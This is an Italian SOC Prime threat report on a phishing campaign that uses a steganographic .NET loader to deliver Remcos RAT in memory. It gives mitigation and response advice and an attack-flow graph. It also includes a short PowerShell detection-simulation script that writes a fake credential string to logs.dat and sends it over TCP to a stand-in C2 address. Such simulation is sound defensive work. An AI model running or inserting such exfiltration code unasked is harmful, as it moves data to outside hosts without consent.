Una Campagna di Caricamento Steganografico Multi-Fase che Distribuisce Payload Diversificati a Livello Globale

SOC Prime Team

Segui

Una Campagna di Caricamento Steganografico Multi-Fase che Distribuisce Payload Diversificati a Livello Globale

Detection stack

AIDR
Alert
ETL
Query

Rapporto
Flusso di Attacco
Rilevamenti
Simulazioni

Sommario

Una campagna malware a più stadi si basa sulla steganografia e l’esecuzione in memoria per distribuire più payload, incluso Remcos RAT. La catena d’infezione inizia con un’email di phishing contenente un archivio malevolo che rilascia un eseguibile .NET. Questo eseguibile utilizza risorse integrate e metodi steganografici per caricare le fasi successive direttamente in memoria, aiutando il malware a evitare il rilevamento su disco.

Indagine

L’indagine è iniziata dopo che la telemetria ha segnalato un file sospetto chiamato GST Debit Note Apr_26.com. Gli analisti hanno determinato che il file era un eseguibile .NET a 32 bit mascherato da gioco. Ulteriori analisi di reverse engineering hanno rivelato la steganografia incorporata in un oggetto Bitmap .NET, che nascondeva il caricatore di fase successiva, Optimax.dll, e permetteva la sua esecuzione completamente in memoria.

Mitigazione

Le organizzazioni dovrebbero implementare una robusta filtrazione delle email per bloccare allegati archivio sospetti e tentativi di phishing. Le soluzioni EDR dovrebbero essere in grado di rilevare l’esecuzione in memoria, la hollowing dei processi e comportamenti sospetti di PowerShell. I team dovrebbero anche monitorare i cambiamenti non autorizzati del registro, specialmente nelle chiavi Run, e imporre un controllo rigoroso delle applicazioni per prevenire l’avvio di eseguibili non firmati.

Risposta

Gli endpoint colpiti dovrebbero essere isolati immediatamente per limitare il movimento laterale e il furto di dati. Gli investigatori dovrebbero eseguire l’analisi forense della memoria per identificare i componenti fileless e confermare la presenza del Remcos_Mutex_Inj mutex. Un controllo completo dovrebbe verificare anche la persistenza non autorizzata nella directory AppData e nelle chiavi Run del registro, mentre le credenziali dovrebbero essere reset per qualsiasi utente i cui browser potrebbero essere stati accessi dal malware.

graph TB %% Class Definitions Section classDef action fill:#99ccff classDef malware fill:#ff99cc classDef technique fill:#c2f0c2 classDef file fill:#e1e1e1 %% Node Definitions %% Initial Access attack_phishing[“Azione – Phishing: Allegato Spearphishing Dettagli: Archivio malevolo GST Debit Note Apr_26.com inviato alle vittime.”] class attack_phishing action %% Evasion and Loader Stage 1 evasion_stego[“File o Informazioni Offuscati: Steganografia Dettagli: Nascondere Optimax.dll all’interno di un oggetto Bitmap .NET serializzato nella sezione di risorse dell’eseguibile.”] class evasion_stego technique exec_appdomain[“Dirottare Flusso di Esecuzione: AppDomainManager Dettagli: Utilizzare riflessione e AppDomain.Load per eseguire payload direttamente dalla memoria senza toccare il disco.”] class exec_appdomain technique %% Second Stage loader_stage2[“Iniezione di Processo: Hollowing di Processo Dettagli: System Optimizer Ultimate.dll distribuisce il payload finale facendo l’hollowing di un processo del browser di default.”] class loader_stage2 technique malware_remcos[“Remcos RAT Descrizione: Trojan di Accesso Remoto distribuito come payload finale.”] class malware_remcos malware %% Persistence and Evasion evasion_sandbox[“Evasione di Virtualizzazione/Sandbox Dettagli: Controllo di sbiedll.dll e chiavi di registro per rilevare sandbox o macchine virtuali.”] class evasion_sandbox technique persistence_active[“Esecuzione di Autostart su Boot o Logon: Active Setup Dettagli: Copiare il malware in AppDataRoaming e configurare una chiave di registroRun per la persistenza.”] class persistence_active technique %% Collection and Exfiltration collect_browser[“Rilevamento Informazioni del Browser Dettagli: Raccolta delle credenziali di Chrome e Firefox.”] class collect_browser technique steal_cookies[“Rubare il Cookie di Sessione Web Dettagli: Cattura dei cookies di sessione web attivi.”] class steal_cookies technique exfil_c2[“Esfiltrazione su Canale C2 Dettagli: Invio di dati catturati da logs.dat al aggressore tramite Command and Control.”] class exfil_c2 technique file_logs[“logs.dat Descrizione: File locale utilizzato per memorizzare credenziali rubate e cookies.”] class file_logs file %% Connections %% Flow of attack attack_phishing –>|leads_to| evasion_stego evasion_stego –>|unpacks| exec_appdomain exec_appdomain –>|loads| loader_stage2 loader_stage2 –>|deploys| malware_remcos %% Malware actions malware_remcos –>|performs| evasion_sandbox malware_remcos –>|establishes| persistence_active malware_remcos –>|performs| collect_browser collect_browser –>|leads_to| steal_cookies steal_cookies –>|saves_to| file_logs file_logs –>|sent_via| exfil_c2

Flusso d’attacco

Narrativa e Comandi dell’Attacco: L’avversario ha stabilito con successo un punto d’appoggio. Per completare l’obiettivo, raccolgono la telemetria di sistema e la nascondono in un file chiamato logs.dat per camuffarsi come log standard di sistema. L’avversario poi avvia una connessione di rete all’infrastruttura C2 stabilita (usando l’IP 1.2.3.4 e la porta 37393 per questa simulazione) per esfiltrare i dati. Questo imita il comportamento di un loader steganografico che cerca di spostare dati fuori dalla rete tramite un canale specifico e codificato.

Script di Test di Regressione:

# Simulazione di Esfiltrazione Dati tramite specifico nome file e parametri C2
$C2_IP = "1.2.3.4" # IP C2 simulato
$C2_PORT = 37393
$FILENAME = "logs.dat"

# 1. Crea il file di dati 'malevole'
Write-Output "Dati Sensibili: UserCredentials_Admin_Pass123" | Out-File -FilePath "$env:TEMP$FILENAME"

# 2. Simula la connessione di rete al C2
# Usare un Client TCP per forzare la telemetria di porta/IP specifica
try {
    $client = New-Object System.Net.Sockets.TcpClient($C2_IP, $C2_PORT)
    $stream = $client.GetStream()
    $data = [System.Text.Encoding]::ASCII.GetBytes((Get-Content "$env:TEMP$FILENAME"))
    $stream.Write($data, 0, $data.Length)
    $client.Close()
} catch {
    Write-Host "Connessione fallita (Prevista se l'IP è inesistente), ma la telemetria dovrebbe essere catturata dal firewall."
}

Comandi di Pulizia:

# Rimuovi il file malevolo simulato
Remove-Item -Path "$env:TEMPlogs.dat" -ErrorAction SilentlyContinue

Unisciti alla piattaforma Detection as Code di SOC Prime per migliorare la visibilità sulle minacce più rilevanti per il tuo business. Per aiutarti a iniziare e aumentare immediatamente il valore, prenota ora un incontro con gli esperti di SOC Prime.

Iscriviti gratis